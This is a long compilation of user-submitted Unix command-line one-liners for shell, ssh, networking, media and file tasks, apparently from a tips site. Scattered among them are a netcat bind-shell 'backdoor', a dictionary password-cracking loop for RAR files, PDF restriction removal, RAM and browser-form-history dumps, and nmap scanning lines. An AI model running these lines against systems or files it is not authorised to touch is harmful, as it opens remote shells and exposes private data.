Cool Unix CLI | Command Line Interface

# Run the last command as root
sudo !!

# Serve current directory tree at http://$HOSTNAME:8000/
python -m SimpleHTTPServer

# Save a file you edited in vim without the needed permissions
:w !sudo tee %

# change to the previous working directory
cd -

# Runs previous command but replacing
^foo^bar

# quickly backup or copy a file with bash
cp filename{,.bak}

# mtr, better than traceroute and ping combined
mtr google.com

# Check command history, but avoid running it
!whatever:p

# Copy ssh keys to user@host to enable password-less ssh logins.
$ssh-copy-id user@host

# Rapidly invoke an editor to write a long, complex, or tricky command
ctrl-x e

# Capture video of a linux desktop
ffmpeg -f x11grab -s wxga -r 25 -i :0.0 -sameq /tmp/out.mpg

# Empty a file
> file.txt

# Salvage a borked terminal
reset

# start a tunnel from some machine's port 80 to your local post 2001
ssh -N -L2001:localhost:80 somemachine

# Update twitter via curl
curl -u user:pass -d status="Tweeting from the shell" http://twitter.com/statuses/update.xml

# Execute a command at a given time
echo "ls -l" | at midnight

# output your microphone to a remote computer's speaker
dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp

# Mount a temporary ram partition
mount -t tmpfs tmpfs /mnt -o size=1024m

# Compare a remote file with a local file
ssh user@host cat /path/to/remotefile | diff /path/to/localfile -

# Lists all listening ports together with the PID of the associated process
netstat -tlnp

# currently mounted filesystems in nice layout
mount | column -t

# Runs previous command replacing foo by bar every time that foo appears
!!:gs/foo/bar

# Like top, but for files
watch -d -n 2 'df; ls -FlAt;'

# Mount folder/filesystem through SSH
sshfs name@server:/path/to/folder /path/to/mount/point

# Query Wikipedia via console over DNS
dig +short txt <keyword>.wp.dg.cx



# Place the argument of the most recent command on the shell
'ALT+.' or '<ESC> .'

# Execute a command without saving it in the history
<space>command

# Download an entire website
wget --random-wait -r -p -e robots=off -U mozilla http://www.example.com

# List the size (in human readable form) of all sub folders from the current location
du -h --max-depth=1

# Display the top ten running processes - sorted by memory usage
ps aux | sort -nk +4 | tail

# Quick access to the ascii table.
man ascii

# A very simple and useful stopwatch
time read (ctrl-d to stop)

# Shutdown a Windows machine from Linux
net rpc shutdown -I ipAddressOfWindowsPC -U username%password

# Jump to a directory, execute a command and jump back to current dir
(cd /tmp && ls)

# SSH connection through host in the middle
ssh -t reachable_host ssh unreachable_host

# Clear the terminal screen
ctrl-l

# Set audible alarm when an IP address comes online
ping -i 60 -a IP_address

# List of commands you use most often
history | awk '{a[$2]++}END{for(i in a){print a[i] " " i}}' | sort -rn | head

# Check your unread Gmail from the command line
curl -u username --silent "https://mail.google.com/mail/feed/atom" | perl -ne 'print "\t" if /<name>/; print "$2\n" if /<(title|name)>(.*)<\/\1>/;'

# Make 'less' behave like 'tail -f'.
less +F somelogfile

# Reboot machine when everything is hanging
<alt> + <print screen/sys rq> + <R> - <S> - <E> - <I> - <U> - <B>

# Watch Star Wars via telnet
telnet towel.blinkenlights.nl

# Backticks are evil
echo "The date is: $(date +%D)"

# Watch Network Service Activity in Real-time
lsof -i

# python smtp server
python -m smtpd -n -c DebuggingServer localhost:1025

# Rip audio from a video file.
mplayer -ao pcm -vo null -vc dummy -dumpaudio -dumpfile <output-file> <input-file>

# Simulate typing
echo "You can simulate on-screen typing just like in the movies" | pv -qL 10

# Display a block of text with AWK
awk '/start_pattern/,/stop_pattern/' file.txt

# Matrix Style
tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep --color "[^ ]"

# Easily search running processes (alias).
alias 'ps?'='ps ax | grep '



# diff two unsorted files without creating temporary files
diff <(sort file1) <(sort file2)

# Set CDPATH to ease navigation
CDPATH=:..:~:~/projects

# A fun thing to do with ram is actually open it up and take a peek. This command will show you all the string (plain text) values in ram
sudo dd if=/dev/mem | cat | strings

# Extract tarball from internet without local saving
wget -qO - "http://www.tarball.com/tarball.gz" | tar zxvf -

# Close shell keeping all subprocess running
disown -a && exit

# Copy your SSH public key on a remote machine for passwordless login - the easy way
ssh-copy-id username@hostname

# Display which distro is installed
cat /etc/issue

# Stream YouTube URL directly to mplayer.
mplayer -fs $(echo "http://youtube.com/get_video.php?$(curl -s $youtube_url | sed -n "/watch_fullscreen/s;.*\(video_id.\+\)&title.*;\1;p")")

# Sharing file through http 80 port
nc -w 5 -v -l -p 80 < file.ext

# Create a script of the last executed command
echo "!!" > foo.sh

# Kills a process that is locking a file.
fuser -k filename

# Inserts the results of an autocompletion in the command line
ESC *

# Find the process you are looking for minus the grepped one
ps aux | grep [p]rocess-name

# Graph # of connections for each hosts.
netstat -an | grep ESTABLISHED | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | awk '{ printf("%s\t%s\t",$2,$1) ; for (i = 0; i < $1; i++) {printf("*")}; print "" }'

# Show apps that use internet connection at the moment. (Multi-Language)
lsof -P -i -n

# Push your present working directory to a stack that you can pop later
pushd /tmp

# 32 bits or 64 bits?
getconf LONG_BIT

# Reuse all parameter of the previous command line
!*

# Display a cool clock on your terminal
watch -t -n1 "date +%T|figlet"

# Create a CD/DVD ISO image from disk.
readom dev=/dev/scd0 f=/path/to/image.iso

# Mount a .iso file in UNIX/Linux
mount /path/to/file.iso /mnt/cdrom -oloop

# Define a quick calculator function
? () { echo "$*" | bc -l; }

# Convert seconds to human-readable format
date -d@1234567890

# Graphical tree of sub-directories
ls -R | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/   /' -e 's/-/|/'

# Google Translate
translate(){ wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=$1&langpair=$2|${3:-en}" | sed 's/.*"translatedText":"\([^"]*\)".*}/\1\n/'; }



# Check your unread Gmail from the command line
curl -u username:password --silent "https://mail.google.com/mail/feed/atom" | tr -d '\n' | awk -F '<entry>' '{for (i=2; i<=NF; i++) {print $i}}' | sed -n "s/<title>\(.*\)<\/title.*name>\(.*\)<\/name>.*/\2 - \1/p"

# Create a backdoor on a machine to allow remote connection to bash
nc -vv -l -p 1234 -e /bin/bash

# Monitor progress of a command
pv access.log | gzip > access.log.gz

# Get the 10 biggest files/folders for the current direcotry
du -s * | sort -n | tail

# Binary Clock
watch -n 1 'echo "obase=2;`date +%s`" | bc'

# Job Control
^Z $bg $disown

# Remove duplicate entries in a file without sorting.
awk '!x[$0]++' <file>

# Add Password Protection to a file your editing in vim.
vim -x <FILENAME>

# Sort the size usage of a directory tree by gigabytes, kilobytes, megabytes, then bytes.
du -b --max-depth 1 | sort -nr | perl -pe 's{([0-9]+)}{sprintf "%.1f%s", $1>=2**30? ($1/2**30, "G"): $1>=2**20? ($1/2**20, "M"): $1>=2**10? ($1/2**10, "K"): ($1, "")}e'

# escape any command aliases
\[command]

# Run a command only when load average is below a certain threshold
echo "rm -rf /unwanted-but-large/folder" | batch

# return external ip
curl icanhazip.com

# Open Finder from the current Terminal location
open .

# Bring the word under the cursor on the :ex line in Vim
:<C-R><C-W>

# Generate a random password 30 characters long
strings /dev/urandom | grep -o '[[:alnum:]]' | head -n 30 | tr -d '\n'; echo

# Show apps that use internet connection at the moment. (Multi-Language)
ss -p

# Easy and fast access to often executed commands that are very long and complex.
some_very_long_and_complex_command # label

# Send pop-up notifications on Gnome
notify-send ["<title>"] "<body>"

# Create a persistent connection to a machine
ssh -MNf <user>@<host>

# check site ssl certificate dates
echo | openssl s_client -connect www.google.com:443 2>/dev/null |openssl x509 -dates -noout

# Get your external IP address
curl ifconfig.me

# directly ssh to host B that is only accessible through host A
ssh -t hostA ssh hostB

# Record a screencast and convert it to an mpeg
ffmpeg -f x11grab -r 25 -s 800x600 -i :0.0 /tmp/outputFile.mpg

# Manually Pause/Unpause Firefox Process with POSIX-Signals
killall -STOP -m firefox

# which program is this port belongs to ?
lsof -i tcp:80



# Share a terminal screen with others
% screen -r someuser/

# quickly rename a file
mv filename.{old,new}

# read manpage of a unix command as pdf in preview (Os X)
man -t UNIX_COMMAND | open -f -a preview

# Processor / memory bandwidthd? in GB/s
dd if=/dev/zero of=/dev/null bs=1M count=32768

# Download all images from a site
wget -r -l1 --no-parent -nH -nd -P/tmp -A".gif,.jpg" http://example.com/images

# intercept stdout/stderr of another process
strace -ff -e trace=write -e write=1,2 -p SOME_PID

# Remove security limitations from PDF documents using ghostscript
gs -q -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=OUTPUT.pdf -c .setpdfwrite -f INPUT.pdf

# Pipe stdout and stderr, etc., to separate commands
some_command > >(/bin/cmd_for_stdout) 2> >(/bin/cmd_for_stderr)

# Attach screen over ssh
ssh -t remote_host screen -r

# Show a 4-way scrollable process tree with full details.
ps awwfux | less -S

# Edit a file on a remote host using vim
vim scp://username@host//path/to/somefile

# Monitor the queries being run by MySQL
watch -n 1 mysqladmin --user=<user> --password=<password> processlist

# Print all the lines between 10 and 20 of a file
sed -n '10,20p' <filename>

# A robust, modular log coloriser
ccze

# To print a specific line from a file
sed -n 5p <file>

# Remove all files previously extracted from a tar(.gz) file.
tar -tf <file.tar.gz> | xargs rm -r

# Gets a random Futurama quote from /.
curl -Is slashdot.org | egrep '^X-(F|B|L)' | cut -d \- -f 2

# find geographical location of an ip address
lynx -dump http://www.ip-adress.com/ip_tracer/?QRY=$1|grep address|egrep 'city|state|country'|awk '{print $3,$4,$5,$6,$7,$8}'|sed 's\ip address flag \\'|sed 's\My\\'

# Make directory including intermediate directories
mkdir -p a/long/directory/path

# Prettify an XML file
tidy -xml -i -m [file]

# Alias HEAD for automatic smart output
alias head='head -n $((${LINES:-`tput lines 2>/dev/null||echo -n 12`} - 2))'

# prints line numbers
nl

# Search commandlinefu.com from the command line using the API
cmdfu(){ curl "http://www.commandlinefu.com/commands/matching/$@/$(echo -n $@ | openssl base64)/plaintext"; }

# Backup all MySQL Databases to individual files
for I in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $I | gzip > "$I.sql.gz"; done

# Port Knocking!
knock <host> 3000 4000 5000 && ssh -p <port> user@host && knock <host> 5000 4000 3000



# (Debian/Ubuntu) Discover what package a file belongs to
dpkg -S /usr/bin/ls

# Eavesdrop on your system
diff <(lsof -p 1234) <(sleep 10; lsof -p 1234)

# Exclude .svn, .git and other VCS junk for a pristine tarball
tar --exclude-vcs -cf src.tar src/

# List only the directories
ls -d */

# Find Duplicate Files (based on size first, then MD5 hash)
find -not -empty -type f -printf "%s\n" | sort -rn | uniq -d | xargs -I{} -n1 find -type f -size {}c -print0 | xargs -0 md5sum | sort | uniq -w32 --all-repeated=separate

# Draw a Sierpinski triangle
perl -e 'print "P1\n256 256\n", map {$_&($_>>8)?1:0} (0..0xffff)' | display

# Colorized grep in less
grep --color=always | less -R

# Add timestamp to history
export HISTTIMEFORMAT="%F %T "

# Perform a branching conditional
true && { echo success;} || { echo failed; }

# Block known dirty hosts from reaching your machine
wget -qO - http://infiltrated.net/blacklisted|awk '!/#|[a-z]/&&/./{print "iptables -A INPUT -s "$1" -j DROP"}'

# Display a list of committers sorted by the frequency of commits
svn log -q|grep "|"|awk "{print \$3}"|sort|uniq -c|sort -nr

# make directory tree
mkdir -p work/{d1,d2}/{src,bin,bak}

# List the number and type of active network connections
netstat -ant | awk '{print $NF}' | grep -v '[a-z]' | sort | uniq -c

# Press Any Key to Continue
read -sn 1 -p "Press any key to continue..."

# Run a file system check on your next boot.
sudo touch /forcefsck

# Show apps that use internet connection at the moment.
lsof -P -i -n | cut -f 1 -d " "| uniq | tail -n +2

# send echo to socket network
echo "foo" > /dev/tcp/192.168.1.2/25

# Cracking a password protected .rar file
for i in $(cat dict.txt);do unrar e -p$i protected.rar; if [ $? = 0 ];then echo "Passwd Found: $i";break;fi;done

# Create a nifty overview of the hardware in your computer
lshw -html > hardware.html

# exit without saving history
kill -9 $$

# Use lynx to run repeating website actions
lynx -accept_all_cookies -cmd_script=/your/keystroke-file

# Save your sessions in vim to resume later
:mksession! <filename>

# runs a bash script in debugging mode
bash -x ./post_to_commandlinefu.sh

# Convert PDF to JPG
for file in `ls *.pdf`; do convert -verbose -colorspace RGB -resize 800 -interlace none -density 300 -quality 80 $file `echo $file | sed 's/\.pdf$/\.jpg/'`; done

# Create a quick back-up copy of a file
cp file.txt{,.bak}



# Delete all files in a folder that don't match a certain file extension
rm !(*.foo|*.bar|*.baz)

# Create colorized html file from Vim or Vimdiff
:TOhtml

# Define words and phrases with google.
define(){ local y="$@";curl -sA"Opera" "http://www.google.com/search?q=define:${y// /+}"|grep -Po '(?<=<li>)[^<]+'|nl|perl -MHTML::Entities -pe 'decode_entities($_)' 2>/dev/null;}

# perl one-liner to get the current week number
date +%V

# Listen to BBC Radio from the command line.
bbcradio() { local s;echo "Select a station:";select s in 1 1x 2 3 4 5 6 7 "Asian Network an" "Nations & Local lcl";do break;done;s=($s);mplayer -playlist "http://www.bbc.co.uk/radio/listen/live/r"${s[@]: -1}".asx";}

# Go to parent directory of filename edited in last command
cd !$:h

# Compare two directory trees.
diff <(cd dir1 && find | sort) <(cd dir2 && find | sort)

# Search recursively to find a word or phrase in certain file types, such as C code
find . -name "*.[ch]" -exec grep -i -H "search pharse" {} \;

# delete a line from your shell history
history -d

# List recorded formular fields of Firefox
cd ~/.mozilla/firefox/ && sqlite3 `cat profiles.ini | grep Path | awk -F= '{print $2}'`/formhistory.sqlite "select * from moz_formhistory" && cd - > /dev/null

# Create a single-use TCP (or UDP) proxy
nc -l -p 2000 -c "nc example.org 3000"

# Instead of writing a multiline if/then/else/fi construct you can do that by one line
[[ test_condition ]] && if_true_do_this || otherwise_do_that

# Get info about remote host ports and OS detection
nmap -sS -P0 -sV -O <target>

# Copy a MySQL Database to a new Server via SSH with one command
mysqldump --add-drop-table --extended-insert --force --log-error=error.log -uUSER -pPASS OLD_DB_NAME | ssh -C user@newhost "mysql -uUSER -pPASS NEW_DB_NAME"

# Use tee + process substitution to split STDOUT to multiple commands
some_command | tee >(command1) >(command2) >(command3) ... | command4

# Speed up launch of firefox
find ~ -name '*.sqlite' -exec sqlite3 '{}' 'VACUUM;' \;

# Copy your ssh public key to a server from a machine that doesn't have ssh-copy-id
cat ~/.ssh/id_rsa.pub | ssh user@machine "mkdir ~/.ssh; cat >> ~/.ssh/authorized_keys"

# April Fools' Day Prank
PROMPT_COMMAND='if [ $RANDOM -le 3200 ]; then printf "\0337\033[%d;%dH\033[4%dm \033[m\0338" $((RANDOM%LINES+1)) $((RANDOM%COLUMNS+1)) $((RANDOM%8)); fi'

# easily find megabyte eating files or directories
alias dush="du -sm *|sort -n|tail"

# Show File System Hierarchy
man hier

# Colorful man
apt-get install most && update-alternatives --set pager /usr/bin/most

# Create an audio test CD of sine waves from 1 to 99 Hz
(echo CD_DA; for f in {01..99}; do echo "$f Hz">&2; sox -nt cdda -r44100 -c2 $f.cdda synth 30 sine $f; echo TRACK AUDIO; echo FILE \"$f.cdda\" 0; done) > cdrdao.toc && cdrdao write cdrdao.toc && rm ??.cdda cdrdao.toc

# Monitor bandwidth by pid
nethogs -p eth0

# Clean up poorly named TV shows.
rename -v 's/.*[s,S](\d{2}).*[e,E](\d{2}).*\.avi/SHOWNAME\ S$1E$2.avi/' poorly.named.file.s01e01.avi

# convert unixtime to human-readable
date -d @1234567890



# Show current working directory of a process
pwdx pid

# Diff on two variables
diff <(echo "$a") <(echo "$b")

# Recursively change permissions on files, leave directories alone.
find ./ -type f -exec chmod 644 {} \;

# List all files opened by a particular command
lsof -c dhcpd

# Nicely display permissions in octal format with filename
stat -c '%A %a %n' *

# Base conversions with bc
echo "obase=2; 27" | bc -l

# Brute force discover
sudo zcat /var/log/auth.log.*.gz | awk '/Failed password/&&!/for invalid user/{a[$9]++}/Failed password for invalid user/{a["*" $11]++}END{for (i in a) printf "%6s\t%s\n", a[i], i|"sort -n"}'

# Remind yourself to leave in 15 minutes
leave +15

# Find files that have been modified on your system in the past 60 minutes
sudo find / -mmin 60 -type f

# Start a command on only one CPU core
taskset -c 0 your_command

# Show biggest files/directories, biggest first with 'k,m,g' eyecandy
du --max-depth=1 | sort -r -n | awk '{split("k m g",v); s=1; while($1>1024){$1/=1024; s++} print int($1)" "v[s]"\t"$2}'

# How to establish a remote Gnu screen session that you can re-connect to
ssh -t user@some.domain.com /usr/bin/screen -xRR

# Intercept, monitor and manipulate a TCP connection.
mkfifo /tmp/fifo; cat /tmp/fifo | nc -l -p 1234 | tee -a to.log | nc machine port | tee -a from.log > /tmp/fifo

# Analyse an Apache access log for the most common IP addresses
tail -10000 access_log | awk '{print $1}' | sort | uniq -c | sort -n | tail

# Colored diff ( via vim ) on 2 remotes files on your local computer.
vimdiff scp://root@server-foo.com//etc/snmp/snmpd.conf scp://root@server-bar.com//etc/snmp/snmpd.conf

# View the newest xkcd comic.
xkcd(){ wget -qO- http://xkcd.com/|tee >(feh $(grep -Po '(?<=")http://imgs[^/]+/comics/[^"]+\.\w{3}'))|grep -Po '(?<=(\w{3})" title=").*(?=" alt)';}

# Get your external IP address
curl ip.appspot.com

# Execute a command with a timeout
timeout 10 sleep 11

# Search for a <pattern> string inside all files in the current directory
grep -RnisI <pattern> *

# Find files that were modified by a given command
touch /tmp/file ; $EXECUTECOMMAND ; find /path -newer /tmp/file

# use vim to get colorful diff output
svn diff | view -

# Find Duplicate Files (based on MD5 hash)
find -type f -exec md5sum '{}' ';' | sort | uniq --all-repeated=separate -w 33 | cut -c 35-

# Quickly (soft-)reboot skipping hardware checks
/sbin/kexec -l /boot/$KERNEL --append="$KERNELPARAMTERS" --initrd=/boot/$INITRD; sync; /sbin/kexec -e

# Have an ssh session open forever
autossh -M50000 -t server.example.com 'screen -raAd mysession'

# replace spaces in filenames with underscores
rename 'y/ /_/' *



# Save an HTML page, and covert it to a .pdf file
wget $URL | htmldoc --webpage -f "$URL".pdf - ; xpdf "$URL".pdf &

# DELETE all those duplicate files but one based on md5 hash comparision in the current directory tree
find . -type f -print0|xargs -0 md5sum|sort|perl -ne 'chomp;$ph=$h;($h,$f)=split(/\s+/,$_,2);print "$f"."\x00" if ($h eq $ph)'|xargs -0 rm -v --

# Relocate a file or directory, but keep it accessible on the old location throug a simlink.
mv $1 $2 && ln -s $2/$(basename $1) $(dirname $1)

# Search for commands from the command line
clfu-seach <search words>

# a short counter
yes '' | cat -n

# Resume scp of a big file
rsync --partial --progress --rsh=ssh  $file_source $user@$host:$destination_file

# Put readline into vi mode
set -o vi

# recursive search and replace old with new string, inside files
$ grep -rl oldstring . |xargs sed -i -e 's/oldstring/newstring/'

# shut of the screen.
xset dpms force standby

# List the files any process is using
lsof +p xxxx

# Delete all empty lines from a file with vim
:g/^$/d

# View facebook friend list [hidden or not hidden]
lynx -useragent=Opera -dump 'http://www.facebook.com/ajax/typeahead_friends.php?u=4&__a=1' |gawk -F'\"t\":\"' -v RS='\",' 'RT{print $NF}' |grep -v '\"n\":\"' |cut -d, -f2

# Insert  the  last  argument  of  the previous command
<ESC> .

# live ssh network throughput test
yes | pv | ssh $host "cat > /dev/null"

# Duplicate several drives concurrently
dd if=/dev/sda | tee >(dd of=/dev/sdb) | dd of=/dev/sdc

# redirect stdout and stderr each to separate files and print both to the screen
(some_command 2>&1 1>&3 | tee /path/to/errorlog ) 3>&1 1>&2 | tee /path/to/stdoutlog

# find all active IP addresses in a network
nmap -sP 192.168.0.*

# Terminal - Show directories in the PATH, one per line with sed and bash3.X `here string'
tr : '\n' <<<$PATH

# check open ports
lsof -Pni4 | grep LISTEN

# Triple monitoring in screen
tmpfile=$(mktemp) && echo -e 'startup_message off\nscreen -t top htop\nsplit\nfocus\nscreen -t nethogs nethogs wlan0\nsplit\nfocus\nscreen -t iotop iotop' > $tmpfile && sudo screen -c $tmpfile

# throttle bandwidth with cstream
tar -cj /backup | cstream -t 777k | ssh host 'tar -xj -C /backup'

# Quickly graph a list of numbers
gnuplot -persist <(echo "plot '<(sort -n listOfNumbers.txt)' with lines")

# When feeling down, this command helps
sl

# Install a Firefox add-on/theme to all users
sudo firefox -install-global-extension /path/to/add-on

# ls -hog --> a more compact ls -l
ls -hog



# Transfer SSH public key to another machine in one step
ssh-keygen; ssh-copy-id user@host; ssh user@host

# iso-8859-1 to utf-8 safe recursive rename
detox -r -s utf_8 /path/to/old/win/files/dir

# Terminate a frozen SSH-session
RETURN~.

# Get Cisco network information
tcpdump -nn -v -i eth0 -s 1500 -c 1 'ether[20:2] == 0x2000'

# Copy stdin to your X11 buffer
ssh user@host cat /path/to/some/file | xclip

# Download an entire static website to your local machine
wget --recursive  --page-requisites --convert-links www.moyagraphix.co.za

# Copy a file structure without files
find * -type d -exec mkdir /where/you/wantem/\{\} \;

# Get list of servers with a specific port open
nmap -sT -p 80 -oG - 192.168.1.* | grep open

# Start a new command in a new screen window
alias s='screen -X screen'; s top; s vi; s man ls;

# Efficiently print a line deep in a huge log file
sed '1000000!d;q' < massive-log-file.log

# Get your outgoing IP address
dig +short myip.opendns.com @resolver1.opendns.com

# Makes the permissions of file2 the same as file1
chmod --reference file1 file2

# Recursively remove all empty directories
find . -type d -empty -delete

# View network activity of any application or user in realtime
lsof -r 2 -p PID -i -a

# Convert text to picture
echo -e "Some Text Line1\nSome Text Line 2" | convert -background none -density 196  -resample 72 -unsharp 0x.5 -font "Courier" text:- -trim +repage -bordercolor white -border 3  text.gif

# your terminal sings
echo {1..199}" bottles of beer on the wall, cold bottle of beer, take one down, pass it around, one less bottle of beer on the wall,, " | espeak -v english -s 140

# a shell function to print a ruler the width of the terminal window.
ruler() { for s in '....^....|' '1234567890'; do w=${#s}; str=$( for (( i=1; $i<=$(( ($COLUMNS + $w) / $w )) ; i=$i+1 )); do echo -n $s; done ); str=$(echo $str | cut -c -$COLUMNS) ; echo $str; done; }

# Print a list of standard error codes and descriptions.
perl -le 'print $!+0, "\t", $!++ for 0..127'

# track flights from the command line
flight_status() { if [[ $# -eq 3 ]];then offset=$3; else offset=0; fi; curl "http://mobile.flightview.com/TrackByRoute.aspx?view=detail&al="$1"&fn="$2"&dpdat=$(date +%Y%m%d -d ${offset}day)" 2>/dev/null |html2text |grep ":"; }

# analyze traffic remotely over ssh w/ wireshark
ssh root@server.com 'tshark -f "port !22" -w -' | wireshark -k -i -

# Harder, Faster, Stronger SSH clients
ssh -4 -C -c blowfish-cbc

# quickest (i blv) way to get the current program name minus the path (BASH)
path_stripped_programname="${0##*/}"

# A function to output a man page as a pdf file
function man2pdf(){ man -t ${1:?Specify man as arg} | ps2pdf -dCompatibility=1.3 - - > ${1}.pdf; }

# a trash function for bash
trash <file>

# backup all your commandlinefu.com favourites to a plaintext file
clfavs(){ URL="http://www.commandlinefu.com";wget -O - --save-cookies c --post-data "username=$1&password=$2&submit=Let+me+in" $URL/users/signin;for i in `seq 0 25 $3`;do wget -O - --load-cookies c $URL/commands/favourites/plaintext/$i >>$4;done;rm -f c;}



# Remove blank lines from a file using grep and save output to new file
grep . filename > newfilename

# Identify long lines in a file
awk 'length>72' file

# Cleanup firefox's database.
find ~/.mozilla/firefox/ -type f -name "*.sqlite" -exec sqlite3 {} VACUUM \;

# get all pdf and zips from a website using wget
wget --reject html,htm --accept pdf,zip -rl1 url

# Release memory used by the Linux kernel on caches
free && sync && echo 3 > /proc/sys/vm/drop_caches && free

# Show me a histogram of the busiest minutes in a log file:
cat /var/log/secure.log | awk '{print substr($0,0,12)}' | uniq -c | sort -nr | awk '{printf("\n%s ",$0) ; for (i = 0; i<$1 ; i++) {printf("*")};}'

# pipe output of a command to your clipboard
some command|xsel --clipboard

# Print a great grey scale demo !
yes "$(seq 232 255;seq 254 -1 233)" | while read i; do printf "\x1b[48;5;${i}m\n"; sleep .01; done

# coloured tail
tail -f FILE | perl -pe 's/KEYWORD/\e[1;31;43m$&\e[0m/g'

# create an emergency swapfile when the existing swap space is getting tight
sudo dd if=/dev/zero of=/swapfile bs=1024 count=1024000;sudo mkswap /swapfile; sudo swapon /swapfile

# Run a long job and notify me when it's finished
./my-really-long-job.sh && notify-send "Job finished"

# Make anything more awesome
command | figlet

# Display current bandwidth statistics
ifstat -nt

# restoring some data from a corrupted text file
( cat badfile.log ; tac badfile.log | tac ) > goodfile.log

# How to run X without any graphics hardware
startx -- `which Xvfb` :1 -screen 0 800x600x24 && DISPLAY=:1 x11vnc

# Redirect STDIN
< /path/to/file.txt grep foo

# clear current line
CTRL+u

# Add calendar to desktop wallpaper
convert -font -misc-fixed-*-*-*-*-*-*-*-*-*-*-*-* -fill black -draw "text 270,260 \" `cal` \"" testpic.jpg newtestpic.jpg

# Delete all empty lines from a file with vim
:g!/\S/d

# Get all the keyboard shortcuts in screen
^A ?

# convert uppercase files to lowercase files
rename 'y/A-Z/a-z/' *

# Switch 2 characters on a command line.
ctrl-t

# Change prompt to MS-DOS one (joke)
export PS1="C:\$( pwd | sed 's:/:\\\\\\:g' )\\> "

# Monitor open connections for httpd including listen, count and sort it per IP
watch "netstat -plan|grep :80|awk {'print \$5'} | cut -d: -f 1 | sort | uniq -c | sort -nk 1"

# download and unpack tarball without leaving it sitting on your hard drive
wget -qO - http://example.com/path/to/blah.tar.gz | tar xzf -



# Numbers guessing game
A=1;B=100;X=0;C=0;N=$[$RANDOM%$B+1];until [ $X -eq $N ];do read -p "N between $A and $B. Guess? " X;C=$(($C+1));A=$(($X<$N?$X:$A));B=$(($X>$N?$X:$B));done;echo "Took you $C tries, Einstein";

# Make sure a script is run in a terminal.
[ -t 0 ] || exit 1

# Unbelievable Shell Colors, Shading, Backgrounds, Effects for Non-X
for c in `seq 0 255`;do t=5;[[ $c -lt 108 ]]&&t=0;for i in `seq $t 5`;do echo -e "\e[0;48;$i;${c}m|| $i:$c `seq -s+0 $(($COLUMNS/2))|tr -d '[0-9]'`\e[0m";done;done

# Matrix Style
echo -e "\e[32m"; while :; do for i in {1..16}; do r="$(($RANDOM % 2))"; if [[ $(($RANDOM % 5)) == 1 ]]; then if [[ $(($RANDOM % 4)) == 1 ]]; then v+="\e[1m $r   "; else v+="\e[2m $r   "; fi; else v+="     "; fi; done; echo -e "$v"; v=""; done

# Backup all MySQL Databases to individual files
for db in $(mysql -e 'show databases' -s --skip-column-names); do mysqldump $db | gzip > "/backups/mysqldump-$(hostname)-$db-$(date +%Y-%m-%d-%H.%M.%S).gz"; done

# How fast is the connexion to a URL, some stats from curl
URL="http://www.google.com";curl -L --w "$URL\nDNS %{time_namelookup}s  conn %{time_connect}s  time %{time_total}s\nSpeed %{speed_download}bps Size %{size_download}bytes\n" -o/dev/null -s $URL

# Show directories in the PATH, one per line
echo "${PATH//:/$'\n'}"

# Schedule a script or command in x num hours, silently run in the background even if logged out
( ( sleep 2h; your-command your-args ) & )

# find and delete empty dirs, start in current working dir
find . -empty -type d -exec rmdir {} +

# Move all images in a directory into a directory hierarchy based on year, month and day based on exif information
exiftool '-Directory<DateTimeOriginal' -d %Y/%m/%d dir

# Get all IPs via ifconfig
ifconfig -a | perl -nle'/(\d+\.\d+\.\d+\.\d+)/ && print $1'

# Smiley Face Bash Prompt
PS1="\`if [ \$? = 0 ]; then echo \e[33\;40m\\\^\\\_\\\^\e[0m; else echo \e[36\;40m\\\-\e[0m\\\_\e[36\;40m\\\-\e[0m; fi\` \u \w:\h)"

# Create a list of binary numbers
echo {0..1}{0..1}{0..1}{0..1}

# Create a system overview dashboard on F12 key
bind '"\e[24~"':"\"ps -elF;df -h;free -mt;netstat -lnpt;who -a\C-m"""

# Convert "man page" to text file
man ls | col -b > ~/Desktop/man_ls.txt

# Find if the command has an alias
type -all command

# Share a 'screen'-session
screen -x

# Show all detected mountable Drives/Partitions/BlockDevices
hwinfo --block --short

# view the system console remotely
sudo cat /dev/vcs1 | fold -w 80

# Download all Delicious bookmarks
curl -u username -o bookmarks.xml https://api.del.icio.us/v1/posts/all

# I hate `echo X | Y`
base64 -d <<< aHR0cDovL3d3dy50d2l0dGVyc2hlZXAuY29tL3Jlc3VsdHMucGhwP3U9Y29tbWFuZGxpbmVmdQo=

# find the process that is using a certain port e.g. port 3000
lsof -P | grep ':3000'

# Schedule a download at a later time
echo 'wget url' | at 01:00

# create dir tree
mkdir -p doc/{text/,img/{wallpaper/,photos/}}

# Backup your hard drive with dd
sudo dd if=/dev/sda of=/media/disk/backup/sda.backup



# Extract audio from a video
ffmpeg -i video.avi -f mp3 audio.mp3

# Quick glance at who's been using your system recently
last  | grep -v "^$" | awk '{ print $1 }' | sort -nr | uniq -c

# Get Dell Service Tag Number from a Dell Machine
sudo dmidecode | grep Serial\ Number | head -n1

# change directory to actual path instead of symlink path
cd `pwd -P`

# List of commands you use most often
history | awk '{print $2}' | sort | uniq -c | sort -rn | head

# Generat a Random MAC address
MAC=`(date; cat /proc/interrupts) | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]{2})/\1:/g; s/:$//;'`

# ssh tunnel with auto reconnect ability
while [ ! -f /tmp/stop ]; do ssh -o ExitOnForwardFailure=yes -R 2222:localhost:22 target "while nc -zv localhost 2222; do sleep 5; done"; sleep 5;done

# Use last argument of last command
file !$

# Recursively remove .svn directories from the current location
find . -type d -name '.svn' -print0 | xargs -0 rm -rdf

# Get http headers for an url
curl -I www.commandlinefu.com

# View all date formats, Quick Reference Help Alias
alias dateh='date --help|sed "/^ *%a/,/^ *%Z/!d;y/_/!/;s/^ *%\([:a-z]\+\) \+/\1_/gI;s/%/#/g;s/^\([a-y]\|[z:]\+\)_/%%\1_%\1_/I"|while read L;do date "+${L}"|sed y/!#/%%/;done|column -ts_'

# copy from host1 to host2, through your host
ssh root@host1 "cd /somedir/tocopy/ && tar -cf - ." | ssh root@host2 "cd /samedir/tocopyto/ && tar -xf -"

# Print a row of characters across the terminal
printf "%`tput cols`s"|tr ' ' '#'

# Remote screenshot
DISPLAY=":0.0" import -window root screenshot.png

# Make ISO image of a folder
